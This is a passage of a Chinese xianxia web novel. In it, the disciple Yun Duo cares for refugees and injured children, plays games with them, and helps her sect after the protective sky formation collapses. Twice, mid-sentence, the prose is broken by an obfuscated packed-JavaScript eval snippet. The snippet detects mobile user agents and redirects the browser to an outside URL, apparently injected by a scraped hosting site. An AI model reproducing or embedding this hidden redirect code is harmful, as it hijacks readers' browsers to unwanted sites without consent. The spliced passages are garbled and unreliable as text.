云朵瞟了他一眼,又对上了夏南烛疑问的目光,解释道:“二师兄,昨天宗门收容了那么多受灾百姓,现在肯定又有一大堆事情。这种情况我可没办法心安理得地休息,所以就过来帮忙啦!” 夏南烛见她有心帮忙,也不再推辞,告知了她受灾百姓的位置。 昨日来投奔的百姓,都被安置在了靠近外侧的客房。这里的环境虽然赶不上林星遥住的那般湖光山色,但也都干净整洁,树荫围绕,对于刚被灾难摧残过、流离失所的人们来说,已经让他们受宠若惊了。 云朵到时,正好赶上弟子们在给受灾民众发早饭,见她来了,也没放下手上的活儿,只是向她郑重点头,全当见过礼。 受灾的百姓经过近一周的奔波,个个都面带疲色,但都规规矩矩地排成一队。领完早餐的人就或蹲或坐,在旁边的空地上三两成群,安静地吃饭。 云朵走到一个狼吞虎咽的人身边,问道:“这位叔叔,我们这里的饭菜合您的口味吗?” 那大叔本专注于吃饭,没有注意到她,这下被她吓了一跳,赶忙将碗筷放到一边,站起来朝她作揖:“多谢仙人救我们!饭菜很好吃!很好吃!” 云朵没料到他会有这么大的反应,赶紧扶住他,道:“您别这么客气,先吃饱饭要紧。” 大叔又说了一大通感谢的话,直把云朵谢得不好意思,脸都涨红了,才又坐下去接着吃。 云朵用手背捂着脸颊降温,走到放饭弟子身旁,问道:“这边有什么需要我帮忙的吗?” 那弟子手上不停,回道:“四师姐,我这边还好,这批灾民只有二三十人,照顾他们的饮食,我们几人足够啦!只是有几个伤患被暂时安置在了最边上的屋子,我们分不出手去照料,好在刚才林公子来了,现在应该正在那边帮忙,师姐要不过去看看?” 云朵头皮发紧,昨晚他跟林星遥刚呛过声,临走时她跟夏南烛多说了两句话,再出门时林星遥已经不见踪影了,因此也没机会跟人家好好说开。现在突然要过去帮忙,总觉得有点尴尬,但嘴上依然应下:“好,你们先忙,我过去看看。” 走进最边上的那间屋子,一股混杂着草药苦涩和血腥气的空气便扑面而来。阳光从窗口透进来,照亮屋内的几张床铺。屋中没有想象中压抑的呻吟和啜泣声,床上的伤患们有的正在沉睡,有的正盯着窗外发呆。 云朵一眼就看见了林星遥。 他正背对着她,坐在离门口最近的一张简陋木床边。身上还穿着标志性的霁华宗白金色长衫。他微微弯着腰,身形依旧挺拔如竹,但动作间带着一种全神贯注的凝重。 云朵放轻脚步走过去。床上躺着的是一个约莫七八岁的男孩,脸色苍白,额上覆着冷汗,右腿小腿处裹着厚厚的、被血和泥灰浸染得发黑的粗布,隐隐还有暗红的血渍渗出。 林星遥听见动静,回过头来,看见是她也没有什么多余的表情,只朝她点头致意,又转回去,小心翼翼地将男孩腿上那脏污的旧纱布一层层揭开。他的手指修长,即使做着这样污秽的工作,动作也带着一种近乎优雅的精准和细致。云朵能看到他侧脸的线条绷紧,薄唇微抿,那双总是含着笑意的眼睛低垂着,紧紧锁在男孩狰狞的伤口上。 那是一道皮肉翻卷、深可见骨的撕裂伤,边缘红肿发炎,触目惊心。 空气仿佛凝固了,只剩下布条剥离皮肉时粘稠的细微声响。大概是怕惊扰了其他正在休息的人,那男孩即便痛到发抖,也依然一声不吭,只用嘴狠狠咬住袖口,眼泪和汗水早已浸湿了他蓬乱的头发。 云朵轻轻绕到床的另一侧,弯下腰,用手包住了男孩另一只握紧拳头的手。 “弟弟,别怕。”云朵的声音刻意放得又轻又软,脸上也绽开一个格外明亮的笑容,“现在正帮你处理伤口的这位林公子,可是很厉害的!你看他多小心呀,肯定不会让你留太大的疤。”感觉到手中的拳头松了松,她赶紧将手指送入小男孩的掌心,用眼神鼓励他,“弟弟也好勇敢,已经是个小男子汉了!但是无论如何都不要伤害自己,疼就抓紧姐姐的手,好不好?”话音刚落,她就感觉到男孩像抓住救命稻草般,死死攥住了她几根手指,力道大得惊人,但云朵连眉头都没皱一下。 林星遥的动作似乎因云朵的到来而短暂地顿了一下,但并未抬头,只是极其轻微地向云朵的方向侧了侧脸,幅度小得几乎难以察觉。紧接着,他取过一旁矮凳上备好的清水和干净的布巾,开始极其耐心地清理伤口深处的污垢和脓血。他的指尖偶尔会逸散出极淡的蓝光,通过向伤处输送精微的灵力,减轻男孩的痛苦。 男孩的身体虽然还在因为疼痛而颤抖,但攥着云朵的手指的力道放松了一些。 “药…药在这里!”云朵眼疾手快,瞥见林星遥清理完毕,目光扫向矮凳,立刻明白了他的需求。她小心地用那只没被抓住的手拿起一个白瓷小罐,稳稳地递到林星遥手边干净的位置。 林星遥依然没有说话,只是极其自然地接过药罐。他挖出散发清苦香气的深绿色药膏,动作轻柔,将药膏均匀地涂抹在男孩伤口处。然后,他拿起棉布,开始仔细地一层层包扎,松紧适度,最后打了一个牢固又不会压迫伤口的结。 整个过程中,云朵一直维持着微微俯身的姿势,紧紧握着男孩的手,交叠的掌心沁出汗水,冰凉黏腻。 当林星遥终于包扎完,将污物和用过的布巾放到一旁的盆中时,云朵才暗暗松了口气,感觉自己的腰快要废了。她一节一节地直起腰身,一只手还握着小男孩的手,另一只手握成拳,背到身后去锤着酸疼的后腰。 小男孩看着眼前这两个气度不凡却如此尽心帮助他的仙人,泪水滚滚而落,声音沙哑又虚弱地道谢:“谢谢仙人哥哥,谢谢仙人姐姐……” 林星遥的脸上又露出了惯有的笑容,找了块干净的白布,擦拭男孩额头上的汗水,道:“不用谢我,这是我们应该做的。包扎好伤口只是第一步,这几日切记伤口莫要沾水,药每日一换。” 小男孩轻轻点头,又像是刚发现一般,松开了云朵的手。 “仙人姐姐,我刚刚是不是攥疼你了?对不起……”男孩说着,声音又带上了哽咽。 云朵连忙摆手:“没有没有,你也说了我是仙人姐姐,你用的这点劲儿,还不够给我挠痒痒的呢!”见男孩瞪着黑葡萄一样的眼睛,懵懵地看着她,一副不是很相信的表情,云朵赶紧向对面的林星遥使眼色求救。 林星遥接收到,出言转移了男孩的注意力:“说起来,我还没有问过你 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“那、那个,林公子,昨晚我有点冲动了,有些话可能说得不好听,你、你别往心里去呀!” 林星遥大概没想到她又提起这件事,还再一次道歉,一时间没反应过来,有些发怔。 云朵见他不说话,以为他还在生气,心想着对方毕竟是从小在大门派娇生惯养,又是被派来帮忙的,索性把心一横,抱拳弯腰道:“对不起!!我以后会注意的,林公子你大人有大量,饶了我这一回吧!” 云朵弯着腰,看不见林星遥的表情,只听见“噗嗤”一声,随后耳边传来林星遥的笑声。 在她的印象中,林星遥属于那种,无论遇到什么事,都能微笑面对的人。但他一贯笑得恰到好处,从嘴角到眉梢的弧度都是优雅的。他笑成这样,云朵也是第一次碰上,遂好奇地直起了身。 只见林星遥用广袖掩着下半张脸,眉眼弯弯,见她抬起头看过来,轻咳两声,脸上又恢复了一贯的微笑。 “云姑娘,你好像总是能做出些出乎我意料的举动。方才我实在没忍住,实在是失礼了。” 云朵见他这么说,以为他彻底不介意了,脑袋一热便道:“那我们两个就算扯平了吧?” 林星遥:“啊?” 云朵道:“你看啊,昨晚是我失礼,刚刚是你失礼,咱们这不就扯平了吗?” 林星遥脸上的笑有些挂不住:“云姑娘,我不是这个意思…”见云朵一脸疑惑,只好正色道,“昨天我亦有错,我之前的想法有些太狭隘了,只顾自身安危,却忘记了走上这条修仙之路的初衷…这么说来,我还要感谢云姑娘,若不是你的一番话将我点醒,我可能就会离自己的初心越来越远。虽然我现在还没有想清楚,我到底能为这天下苍生做些什么,但我想先像浮云宗的各位一样,先做好眼前的事。即使这些事对我们来说很微不足道,对于凡人来说,可能已经足以救他们于水火。”他说着,脸上的笑容不再公式化,而是发自内心地笑了,“所以,云姑娘不必道歉,反而应该接受我的道谢。” 林星遥这一番剖白发自肺腑,真诚无比,反而给云朵说得不好意思了。她伸手挠了挠脸颊,眼神又飘到了一旁,道:“林公子,你也太客气了,你这让我都不知道说什么好了…总之!昨天的事就翻篇了啊!我、我先回聚散堂,看看师兄们那里有没有需要帮忙的,下次见!” “嗯,下次见。” 29. 谁怜苍生苦(5) 自收容受灾百姓后,已经过了大半个月。云朵每天都会过去帮忙,那些百姓一开始都很拘谨,有时怕礼数不周全,怠慢了她这位仙人;有时怕自己身上不干净,蹭脏了她整洁的衣袍;怕他们的声音太嘈杂,扰了仙门的清净…… 在他们眼里,浮云宗的弟子个个都是仙师,每人都有飞天遁地、移山填海的神通。仙人嘛,都是高高在上,不近人情的,哪里是凡人可以随意相与的?结果现在他们不光见到了仙人,一下子还是一大群仙人,甚至还住到了人家宗门里,还每天都在被仙人照顾。这无疑让本就敬畏仙人的百姓更加束手束脚,生怕哪里做的不好,触怒了这些神通广大的救命恩人。 刚得知这些人的想法时,云朵简直哭笑不得,不知这些百姓是不是看多了市面上流传的各种天马行空的话本,不然怎么会对修仙之人有如此离谱的误解。 好在随着相处时日变长,他们好像终于意识到浮云宗的弟子没有他们想象得那么吓人,仙门生活也并不是每天都是单调乏味的。修仙之人和平民百姓,同样都是人,同样有喜怒哀乐,饿了也要吃饭,累了也要休息,与他们这些普通人别无二致。 渐渐的,这些百姓也不再拘谨,也开始同来帮忙的弟子聊天,也会帮着做一些力所能及的事情。 甚至有时候,都要反客为主了。 当第一缕晨光穿透薄雾,笼罩在客房上空的炊烟便袅袅升起,带着柴火的焦香和谷物朴实的味道。 云朵来时,看见李大婶正站在灶台旁,用大勺搅动着锅里滚沸的杂粮粥,额上沁着细汗。她身边站着一个穿着灰扑扑外门弟子服的少年,正往土灶里添柴。 “火不能太急,小仙师!”李大婶笑着指点,语气里带着长辈对晚辈的熟稔,“你看,这样慢慢煨,粥才香软。” 少年弟子抹了把脸上的烟灰,不好意思地咧嘴一笑:“哎,知道了李婶,在家我娘也总这么说。”这话引来周围几位早起帮忙妇人的善意哄笑。 云朵故意凑过去,脸上带着坏笑,对那弟子道:“哎呀,师弟,明明婶婶们才是客人,你怎么能让她们来煮粥,自己反而在一旁添柴呀?” 那少年弟子脸一下子羞得涨红了,支吾半天,才道:“李婶嫌我熬的粥不够软糯,就自己上手了,我、我抢不过。” 云朵“啪”地给了他一个脑瓜崩:“你还想抢啊?!还不赶紧跟人家学习一下怎么才能熬出好吃的粥!” 那弟子捂着头,哭丧着脸道:“这火候也太难掌握了!我感觉比藏书阁那些古董书里的仙术还玄乎!” 周围的妇人听见二人的对话,笑嘻嘻地道:“小仙人,这煮粥哪里能有你们的仙术玄妙?不能的,你只是还没掌握技巧,跟着你李婶多煮几次就会了!” 云朵闻言,郑重地拍了拍那弟子的肩膀:“师弟啊,以后咱们宗门上下所有人碗里的粥就交给你了,你可得好好学,成败在此一举了!” 那弟子惊恐地用手指着自己,颤声道:“谁?我吗……?” 云朵憋着笑,点了点头,周围的妇人已经笑作一团了。 逗弄完单纯的师弟,又帮着发完早饭,云朵告别了热情的妇人们,晃荡到了摔云坪。 受灾民众中不乏孩童,小孩子心思单纯,不明白什么天灾人祸的,只知道跟着家人一起来到了一个山清水秀的地方,整天看哪里都稀奇。孩童的天性就是爱玩,夏南烛干脆大手一挥,将摔云坪隔出一部分,专门用作这些小孩的游乐场,每天有两三个弟子在附近值班,以防这些孩子在玩耍中磕了碰了的。 此时,游乐场里正沸腾着最原始纯粹的快乐。七八个小身影在几块光滑的大石头和一棵歪脖子老槐树之间追逐打闹,笑声像一串串清脆的铃音,撞进了云朵耳中。 云朵走近,同正在值班的弟子们打了声招呼,就笑盈盈地抱着胳膊,倚在一旁的树干上看着。 一个肉肉的小男孩正扮演着凶恶的妖怪,张牙舞爪地追着梳羊角辫的小姑娘。小姑娘尖叫着朝云朵的方向跑过来,眼看就要被抓住,一个急转弯,差点撞到云朵身上。 “哎呀!”小女孩猛地刹住脚步,抬起头,小脸因为奔跑红扑扑的,一双圆溜溜的大眼睛正对上云朵弯弯的笑眼。 “仙…仙女姐姐!”小女孩先是一愣,随即惊喜地叫出声来,声音因兴奋而拔高。 这一声就像投入平静湖面的石子,瞬间激起了千层浪。 追逐和尖叫戛然而止,所有孩子的注意力像被磁石吸引,齐刷刷地转向了云朵。小孩子心里没有大人那么多七拐八绕的想法,只是觉得这个姐姐长得好看,又对着他们笑,肯定是想要跟他们一起玩了!他们毫不犹豫地放弃了刚才的游戏,像一群欢快的小鸟,呼啦啦地朝着云朵飞奔过来。 “仙女姐姐是来陪我们玩的吗?” 云朵半蹲下来,看着一双双亮晶晶的眼睛,心情也变得愉悦起来了:“好呀,不过你们不要叫我‘仙女姐姐’,我的名字是云岁宁,你们的名字呢?” “我叫豆豆!”那个梳着羊角辫、差点撞到云朵的小姑娘第一个抢答,声音清脆响亮,小脸红扑扑的。 “我叫虎子!”扮演妖怪的小胖墩挺起胸膛,努力让自己看起来像名字一样威风。 “我…我叫石头!”一个瘦小些、眼睛却格外机灵的男孩小声说。 “我叫花儿!”一个穿着洗得发白小红裙的女孩怯生生地说。 “我叫……” 孩子们七嘴八舌,叽叽喳喳地报着自己的名字。 “岁…岁宁姐姐?”豆豆歪着头,努力地、认真地咀嚼着这个新知道的名字,带着点不确定的郑重。 “云岁宁?”虎子挠挠头,小眉头皱起,“好复杂呀!我能不能叫你云姐姐?” “阿宁姐姐!”小石头眼睛滴溜溜一转,想出了更亲昵的称呼。 “宁宁姐姐!”小花儿也跟着学。 云朵被这群小不点的反应逗笑了:“哈哈,都好都好!云姐姐、阿宁姐姐、宁宁姐姐,随你们喜欢!只要别叫仙女姐姐就行啦!”她揉了揉离她最近的豆豆的脑袋,又捏了捏虎子肉乎乎的脸蛋,“那现在,哪位小将军能告诉姐姐,你们刚才在玩什么这么开心呀?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062189|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我们在玩‘妖怪抓人’!”虎子立刻兴奋地抢答,手舞足蹈,“我是大妖怪!豆豆是人,我差点就抓住她了!” “才不是呢!是我跑得快!”豆豆不服气地撅起小嘴反驳。 眼看两个小家伙又要进入新一轮辩论,云朵赶紧举起手,打断道:“好啦好啦,两位小勇士都很厉害!不过呢…姐姐想到了一个更好玩的游戏!比‘妖怪抓人’更有趣!想不想玩?” “想——!”孩子们的眼睛瞬间亮得像夜空里最亮的星星,异口同声喊道。 “是什么游戏呀?阿宁姐姐快说!”小石头迫不及待地追问。 云朵站起身,手虚握成圈放在嘴边,清了清嗓子:“新游戏叫做‘老鹰捉小鸡’!就由姐姐来当那只最凶猛、最狡猾、跑得最快的老鹰。你们嘛,谁来当那只要保护所有小鸡的母鸡妈妈呢?” 孩子们你看看我,我看看你。最终,豆豆挺起小胸脯,脆生生地喊道:“我来当母鸡妈妈!我会保护小鸡的!” “好!豆豆是勇敢的母鸡妈妈!”云朵大声宣布,立刻进入角色,半弯下腰,做出准备俯冲捕猎的姿态,眯起眼睛扫过一群瞬间紧张起来、紧紧挤在豆豆身后的“小鸡”们。 “那么——”云朵拖长了调子,嘴角勾起一抹坏笑,“老鹰肚子饿啦!要抓几只小鸡来当点心!准备——开始!” “哇——!老鹰来啦!快跑啊!”虎子第一个扯着嗓子尖叫起来。 “母鸡妈妈保护我!”小石头吓得直往豆豆身后缩。 豆豆张开小小的手臂,努力护住身后一串小尾巴,小脸绷得紧紧的,全神贯注地盯着云朵:“别怕!我挡住她!” 云朵像一道迅疾的风,猛地朝队伍尾部扑去!孩子们爆发出混合着恐惧和极度兴奋的尖叫,在豆豆的拼命阻挡下,整个队伍像一条被惊扰的长蛇,在洒满阳光的摔云坪上左摇右摆,尖叫、欢笑、奔跑的脚步声瞬间点燃了整个游乐场的空气。 “嗷呜~这只小鸡看起来很好吃!”云朵故意放慢一点速度,伸手去够跑在最后的小花儿,吓得小花儿闭着眼睛尖叫着往前冲。 “嘿嘿,看来你们的母鸡妈妈要挡不住我啦!”她又佯装改变方向,虚晃一枪,引得豆豆慌忙移动,队伍一阵混乱,惹来更大的笑声。 “抓住啦!”云朵终于瞅准机会,一把捞起跑得太急差点摔倒的小石头,抱在怀里,假装要拔毛下锅,逗得小石头在她怀里咯咯直笑。 阳光热烈地洒在摔云坪上,将每一个奔跑欢笑的身影都镀上了一层温暖的金边。云朵淡粉色的衣袂在奔跑跳跃中翻飞,束起的马尾早已在打闹中松散开来,几缕乌黑的发丝贴在她汗湿的额角和脸颊上。 她感觉自己好久没这么放纵过了,自从天破,宗门中的每一个人都被迫成长,变得沉稳,她作为内门弟子,更是要起到表率作用。虽然才短短不到一个月,却因为对未来的担忧而变得格外漫长,她甚至有种错觉,仿佛已经很久没有这样无忧无虑地玩耍了。 而这摔云坪上的喧嚣,便是这劫后余生的日子里,最治愈人心的仙乐。 30. 好梦最难留(1) 这天午后,阳光慵懒地洒在摔云坪。空气中弥漫着青草、泥土的气味。 浮云宗的弟子们在努力训练时,收容的孩子们正在划分出来的游乐场玩耍。 云朵被一群小萝卜头里三层外三层地围着,盘腿坐在场地的最中央。 自从带着他们玩了“老鹰捉小鸡”后,性格活泼跳脱、从不端架子的云朵,便成了这些孩子们最喜爱的孩子王。在孩子们眼里,她完全没有传说中的仙师那样摆架子,反而会陪他们疯跑、做鬼脸、讲些稀奇古怪的故事。就像此刻,她正手舞足蹈,讲着一只偷吃了稀有丹药的狐狸是如何在浮云宗迷路被抓住,又被罚清扫丹药房七七四十九天的传说。孩子们听的津津有味,完全没意识到这个故事有多离谱。听到好笑的地方,他们还笑得前仰后合,笑声像一串串清脆响亮的银铃,在坪上滚动。 “然后啊,那笨狐狸拎着扫把,‘咻’一声就飞到了……”云朵的声音清亮,带着引人入胜的抑扬顿挫。 然而,她的话语还未说完,就听见一声熟悉得让她心颤的异响—— 咔。 仿佛璞玉坠地,摔成无数碎片,随后,噼啪脆响汇成洪流。 云朵悚然抬头,只见天穹之上,那个守护了苍生月余的青色法阵,早已不复光华耀眼。 它正在震颤,剧烈地震颤。 阵上流转的符文已变得杂乱无章,阵纹的青光也在无规律地忽明忽暗。杂乱的碎裂声越来越多,裂纹以阵中为原点,蛛网一般向外蔓延。裂痕蔓延之处,青色大阵失去了光彩。 最终,伴随着“轰——”的一声巨响,碎裂的大阵像蛋壳般,片片剥落,碎片在坠落的过程中散作点点荧光,消散于天地间。 没了法阵的阻挡,黑雾如同决堤的冥河之水,从破裂的天空倾泻而下,遮天蔽日。 朗朗晴空在刹那间被吞噬殆尽,明亮的午后瞬间化为了无尽的黑夜。黑雾翻涌滚动,仿佛她噩梦中的虫群,带着饮血噬骨的气势向他们扑来。 孩子们的笑声戛然而止,转瞬化为一片尖锐的的哭喊,稚嫩的声音在骤然降临的黑暗中显得尤为凄惶无助。 恐惧如同实质的冰水,瞬间淹没了整个摔云坪。 云朵的心脏猛地一抽,一股寒意从脚底直冲头顶。她几乎是本能地跳了起来,朝着站在场外值班的弟子喊道:“几位师弟师妹,快!带孩子们去客房那边,找他们的家人!务必确保他们的安全,动作要快!” 那几位弟子显然也吓得不轻,但云朵的命令唤醒了他们的职责感。 “是!云师姐!” 他们立刻应道,强自镇定,声音甚至因为紧张而变调。 “孩子们,都过来!别怕!跟着我们,我们带你们去找阿爹阿娘!”他们呼喊着,引导着哭哭啼啼的孩子们聚拢,朝着安置客房的方向匆忙撤离。 听着弟子们带着孩子们跌跌撞撞地远去,云朵没有过多停留,身影化作一道流光,毫不犹豫地朝着聚散堂的方向疾驰而去。 夏南烛和季来之肯定在聚散堂,那里是宗门的核心,此刻异象突生,他们一定已经焦头烂额了。 她如同疾风般奔走,耳边除了呼啸的风声,还有一种令人牙酸的“咯咯”声,那是护山大阵死命将黑雾阻挡在外,被摩擦挤压时发出的悲鸣。 云朵感觉她心跳得很快,紧握的掌心满是汗水,冷汗已经浸透了背上的布料。 天上的大阵碎了,那过去帮忙的大师兄…… 不行,不能乱想! 不能慌,云朵!你现在必须镇定,你要成为能够保护大家、为师兄们分忧的人! 当她终于冲进聚散堂的大门时,眼前的景象让她的心再次下沉。 堂内灯火通明,透着一股肃杀紧绷的气氛。季来之站在巨大的地形图前,脸色铁青,眉头紧锁得仿佛能拧出水来。他语速极快,一条条指令如同碎石般砸下,分派给周围同样面色凝重、行色匆匆的执事弟子们 “甲队去仓库,把护山大阵运转需要的材料全都拿出来。乙队立刻加强东北侧节点。传令丹药房,所有熔炉全速运转。所有休息的弟子全部回到原本的岗位上……” 他的声音是从未有过的冰冷,像股强行压抑下的风暴,眼神中的凝重几乎能结出冰渣,大厅的空气仿佛都要凝固了。 但,夏南烛不在。 “三师兄!”云朵冲到季来之身旁,声音带着急切,“二师兄呢?他怎么没在这里主持工作?” 季来之闻声猛地转过头,看到是云朵,眼神中的冰寒似乎缓和了一瞬,但立刻又被更深的焦灼取代。 他沙哑地开口,声音干涩:“二师兄在事发第一时间就去了后山,检查护山大阵的主阵眼。” 云朵深吸一口气,压下翻涌的情绪,问道:“我能做什么?” “统计和整理护山大阵各节点的情况,清点紧急物资分发。现在人手缺口很大,你看哪个工作顺手就做哪个。”季来之没有任何客套,立刻塞给她一大卷玉简和账册,那上面密密麻麻的任务标得让云朵触目惊心。 没有迟疑,云朵立刻投入了这紧张到令人窒息的工作中。聚散堂成了这混乱风暴中的风眼,弟子们进进出出,汇报的情况一个比一个紧急。 “西侧外围阵法节点被侵蚀过半!请求支援!” “南方阵法出现小型裂隙!” …… 云朵强迫自己冷静下来,飞快地记录、传达,声音清晰地复述指令,努力维持着这岌岌可危的信息传递网中的一环。她的额角渗出了细密的汗珠,不仅仅是因为忙乱,更是因为外面那无边无际、仿佛能吞噬一切的黑夜带来的巨大心理压力。 就在这令人绝望的黑暗压得所有人喘不过气时,从殿外传来了阵阵惊呼: “天哪!快看!” “天居然亮了,是黑雾被驱散了吗?” “没有!是又升起了一个太阳!” 一名弟子冲进来,他顾不得礼仪,指着聚散堂外,惊呼道:“师兄!师姐!你们快看外面!” 与此同时,一片刺眼的白光,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062190|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同穿透无尽深渊的利剑,在殿外的黑幕上投下一片莹白。 “走,我们出去看看!”季来之脸色剧变,如离弦之箭般冲了出去。 他们来到聚散堂外,抬头望天,不由自主地眯起了眼,瞳孔剧烈收缩。 只见一轮新生的“太阳”正冉冉升起,它的万丈光辉,足以让久处黑暗的人泪流满面。白光所及之处,那黏稠的浓雾如同遇到烈焰的寒冰,迅速被消融、被逼退。 云朵被那白光刺得睁不开眼,只好用手挡在额前,将视线投向身旁的季来之。 她这才发现,季来之一直死死地盯着那轮烈日,若不是他眼中波光粼粼,云朵还以为鲛人的双眼能够直视太阳。 “三师兄,你这样,眼睛会坏的!”说着,她伸出另一只手去挡季来之的眼睛。 季来之恍如从梦中惊醒,将目光移到她脸上,眨了眨眼,眼眶憋得红红的。 “暂时是安全了……”季来之如同轻叹般低语,云朵却无法从他的神情中体会到一丝轻松。 季来之转头,带着不容置疑的紧迫和决断,对云朵道:“师妹,这个光球同之前的法阵一样,只是权宜之计,不可能持久。趁着它还能镇压住黑雾,你立刻带人统计护宗大阵所有节点的情况,一个都不能遗漏!越快越好!” “是!”云朵没有丝毫犹豫,立刻领命而去。 接下来的时间,对云朵而言如同在冰冷黏稠的噩梦中跋涉。她带着几名分派过来的弟子,穿梭在各处关键的阵基和灵气节点之间。她的眉头紧锁,神情专注无比,仔细地探查每一处节点的情况。 每一次探查结果都被云朵都迅速而精确地记录在特制的玉简中。裂痕坐标、能量淤堵程度、符文污损面积、阵壁脆化程度…… 这些冰冷的数据,无一不在诉说着护山大阵在刚才那场毁灭洪流中经历了何等可怕的蹂躏。它虽屹立未倒,却已是伤痕累累,疲惫不堪。她抬头望了一眼远处依旧翻涌但暂时被隔绝的浓重黑雾,眼中忧虑更深。 当云朵终于将统计玉简拿在手中,准备返回聚散堂交给季来之时,她下意识地抬起了头。 天空中,那轮散发着无尽光与热、如同第二颗太阳的光球,依旧悬浮在天上,将浮云宗在内的方圆几百里土地笼罩在它的光华里,顽强地抵抗着蠢蠢欲动的深渊黑雾。它依旧明亮得难以直视,将周围的黑暗排斥在外,为这方天地强行撑开了一方光明的空间。 然而,看着这驱散了黑雾、为所有人带来了喘息之机的光芒,云朵却只觉一股寒意。那寒意冰冷刺骨,如同极地的罡风,穿透了她的皮肉骨血,直抵灵魂深处。 她抱紧了手中的玉简,仿佛那冰冷的触感能稍稍缓解一些灵魂深处的战栗。 阳光驱散了黑暗,却驱不散这场劫难带来的阴霾与疑问:这光球从何而来?这场天破之劫,是否真的已经止息? 大师兄和二师兄……还会回来吗? 她迈开脚步,朝着聚散堂的方向走去,每一步都踩在冰冷的恐惧与沉重的未知之上。 31. 好梦最难留(2) 聚散堂内,云朵迅速清晰地向季来之汇报了各处节点的损伤情况。季来之凝神听着,手指无意识地在桌面的宗门地图上划过那些标注的位置。 待云朵汇报完毕,聚散堂内陷入短暂的死寂。 季来之沉默了片刻,转向一旁边负责物资调度的弟子,声音沉沉地问:“修补各处裂痕、稳定核心阵眼、维持大阵最低限度运转所需的材料,现在还剩多少?” 那弟子显然早已清楚情况,他原本就苍白的脸色随着季来之的话音,又白了几分,但依旧稳声回复道:“回师兄,照三日前最后一次清点情况来看,库房…库房当前应已近底。” “哗啦——”旁边一位正在整理卷宗的弟子失手打翻了桌上的笔架,清脆的声响在死寂的大殿内格外刺耳,却没人能分心去责怪。 季来之的脸上却并没有露出意外的表情,仿佛早已预料到当今的困境。他没有说话,只有手指敲击桌案的声音在大殿中回响。 能用的材料,没了。在这黑雾蔽日、天地孤立、宗门被困的绝境之下,下山采买?无异于痴人说梦。与其他宗门交换?此刻各方都自身难保,传讯断绝,连对方是否安在都不得而知。 巧妇难为无米之炊,纵有通天本事,没有材料,亦是徒劳。 时间在令人心悸的沉默中流淌,每个人的心头都像坠着千斤巨石,沉得让人难以开口。在这片似乎没有尽头的寂静中,季来之缓缓抬起头,目光扫过聚散堂内一张张或惊惶、或绝望、或强作镇定的脸。 终于,他像是下定了什么决心。 他深深吸一口气,道:“继续密切关注各个节点,若有异动,立刻示警。安置区增派两队巡守,安抚人心。炼器堂、丹房,无论剩下什么材料,全力炼制基础疗伤丹药和临时阵符。” 交代完毕,他转向云朵,看到她写满忧虑的脸上后,目光变得柔和了些。他压低了声音,带着一种难以言喻的复杂情绪,道:“师妹,陪我出去走走吧。” 云朵心中猛地一跳,张了张嘴却又不知能说些什么,只是无声地点了点头。两人一前一后,穿过聚散堂内压抑的空气,踏入了门外那片被光球和护宗大阵共同护佑着的天地。 他们并肩穿行在空旷得令人心悸的宗门中,走过一个个让他们熟悉又陌生的地方。 曾经热闹喧嚣的摔云坪,如今只有风卷起落叶打着旋儿,空旷得能听见脚步的回音; 焦香轩里再没有诱人的食物香气飘出,炉灶冰冷,一片死寂; 藏书阁厚重的木门紧闭着,廊下再无争论和诵书声,只有尘埃在光柱中无声飘浮…… 这些曾经承载着生活气息,喧闹着烟火人声的地方,此刻在晦暗的天光下,静默得如同巨大的陵墓。每一步踏在熟悉的青石板上,都带来一种钝痛般的陌生感。 物是人非,心境也早已不同往昔。 最后,他们踏上了通往后山的小径。 这里本应是最生机勃发之地,大片大片规划整齐的灵田,曾种植着供应全宗日常所需的谷物、蔬果,以及丹房所需的药草。 如今,映入眼帘的却是满目萧瑟。 田地显然已多日无人精心打理,疯长的野草吞噬了大半田地,深绿、枯黄的杂草肆意蔓延,抢夺着灵气和养分。空气中弥漫着一种,混合着泥土腥气和植物腐烂的气味,令人很不舒服。 季来之的脚步停在灵田的边缘。他默默地看着眼前这片荒芜,眼眸中翻涌着复杂的情绪。过了许久,他才缓缓开口,带着一种追忆往昔的飘渺:“记得吗?那年你才这么高。”他用手在腰腹间比划了一下,大约是十岁出头孩童的高度,“当时也是夏天,比现在热得多。二师兄罚我们俩来后山除草,因为我们打闹时打碎了丹药房窗外的花盆。” 他指了指田埂尽头的一棵歪脖子老树:“我们就躲在那棵树下偷懒,你嫌晒,把斗笠盖在脸上睡觉,口水都流到田埂上了。”季来之说着,勾起了嘴角,像是又回到了无忧无虑的年少时光。 “我才没流口水!”云朵下意识地反驳,声音却不由自主地放轻了,仿佛怕惊扰了这片荒芜中残存的旧梦。 她也看向那棵老树,树下似乎真的浮现出两个小小的身影,一个呼呼大睡,一个坐在旁边用树枝在地上画鬼画符。 那时的阳光,是滚烫的、金灿灿的,晒得人皮肤发烫。虽然在受罚,但他们的心是轻快的,烦恼不过是明天要学的课业或者修炼遇到的瓶颈。 季来之的目光落到在田里一株半枯的植物上,继续回忆道:“后来你醒了,饿得不行,非说田里的玉米能吃了。我们俩偷偷各掰了一个,啃了一口……”他顿了顿,仿佛还能回忆起那种难以言喻的味道,“涩得我舌头都麻了。” 云朵也记起来了,脸上不由自主带上点笑意。 季来之弯下腰,伸出修长的手指,轻轻拂过一株顽强挺立的小花。他的动作很轻,带着一种近乎悼念的温柔。 